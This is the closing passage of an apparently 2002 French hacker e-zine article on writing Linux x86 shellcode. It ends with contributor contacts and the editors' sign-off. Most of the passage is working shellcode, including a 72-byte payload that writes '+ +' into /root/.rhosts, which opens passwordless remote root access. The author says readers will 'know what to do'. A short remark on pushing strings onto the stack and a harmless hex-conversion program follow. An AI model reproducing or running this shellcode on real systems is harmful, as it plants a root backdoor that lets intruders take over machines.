"\x89\xc1" /* mov %eax,%ecx */
"\x40" /* inc %eax */
"\xcd\x80"; /* int $0x80 */






/* rhosts shellcode 72bytes long
*
* Ce shellcode va créer un fichier /root/.rhosts
* avec "+ +" à l'intérieur. A partir de là, vous
* savez quoi faire =)
*
*/

char shellcode3[]=

"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* push %eax */
"\x29\xd2" /* sub %edx,%edx */
"\xb1\x42" /* mov $0x42,%cl */
"\x66\xba\xb6\x01" /* mov $0x1b6,%dx */
"\x50" /* push %eax */
"\x68\x6f\x73\x74\x73" /* push $0x7374736f */
"\x68\x2f\x2e\x72\x68" /* push $0x68722e2f */
"\x68\x6f\x74\x2f\x2f" /* push $0x2f2f746f */
"\x68\x2f\x2f\x72\x6f" /* push $0x6f722f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\xb0\x05" /* mov $0x5,%al */
"\xcd\x80" /* int $0x80 */
"\x29\xdb" /* sub %ebx,%ebx */
"\x29\xd2" /* sub %edx,%edx */
"\xb3\x03" /* mov $0x3,%bl */
"\x66\x68\x2b\x2b" /* pushw $0x2b2b */
"\x89\xe1" /* mov %esp,%ecx */
"\xb2\x02" /* mov $0x2,%dl */
"\xb0\x04" /* mov $0x4,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\x40" /* inc %eax */
"\xcd\x80"; /* int $0x80 */






[ Remarques ]

Dans chaque code, vous avez surmement remarqué une série de 'push'.
En effet, dans le premier shellcode par exemple, il nous faut dans %ebx
un pointeur sur l'adresse de '/bin/sh'. Au lieu de jouer avec 'jmp' et
'call' pour l'obtenir, j'ai pushé directement sur la stack le code
hexadécimal correspondant à '/bin/sh' ( h=68, s=73 ...).
Si vous comptez vous aussi vous amuser à ce petit jeu, pour obtenir la
conversion en hexa, faites vous un petit code tout simple dans le style
de celui-ci :


/*
* Conversion hexadécimale
*
*/

#include <stdio.h>
#include <stdlib.h>

int i;
char alpha[28]={ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z','/','.' };

char nbr[10]={ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' };

int main(){

for(i=0;i<28;i++){
printf("%c = %x\t",alpha[i], alpha[i]);

}


i=0; printf("\n\n\n");
for(i=0;i<10;i++){
printf("%c = %x\t",nbr[i], nbr[i]);

}

printf("\n\n");
return 0;

}














---------------------------------------------------------------------------------------
CONTACTS IOC Staff
---------------------------------------------------------------------------------------



ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE :


¤ Meik : meik666@hotmail.com #150635264
¤ Neofox : neo_fox_2001@hotmail.com #150837448
¤ Emper0r : emper0r@m-net.arbornet.org #66985563
¤ Abel : abel@fr.st


EN COLLABORATION AVEC :


¤ Jackieils : jackniels@hotmail.com
¤ Li0n7 : killer.kil@voila.fr




LIENS


www.hianda.fr.st
www.newffr.org
www.rootshell.be/~mrmilow
http://jahnastah.org
www.rndghost.com
www.root-privs.be.tf
www.projet7.org
www.kernhell.org
www.salemioche.com









____ ___ __ __ ____ __ __ __ ___ __ ___ __ __
/ __| / \ | '_ \ / __|| | | | | |/ __/| | / \ | '_ \
| [__ | [ ] || | | || [__ | |_| - |\__ \| || [ ] || | | |
\____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__|



Ainsi s'achève cette 4ème issue. Bien que nous ayons été plus
nombreux que d'habitude à conçevoir ce mag, nous recherchons
toujours des collaborateurs, ponctuels ou à plein temps, pour
les issues à venir.A l'heure où ce magazine est mis en ligne,
Emper0r vient juste de rentrer du LSM2002 (The Libre Software
Meeting), un article et des photos pour le prochain nuéméro ?
Nous allons dés à présent nous mettre à la réalisation du n°5
mais la date de sortie n'est pas encore fixée ; cela dépendra
du nombre d'articles qui nous seront envoyés. En attendant,
passez de bonnes vacances et rendez-vous à la rentrée !














- Copyright © 2002 [IOC] -

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT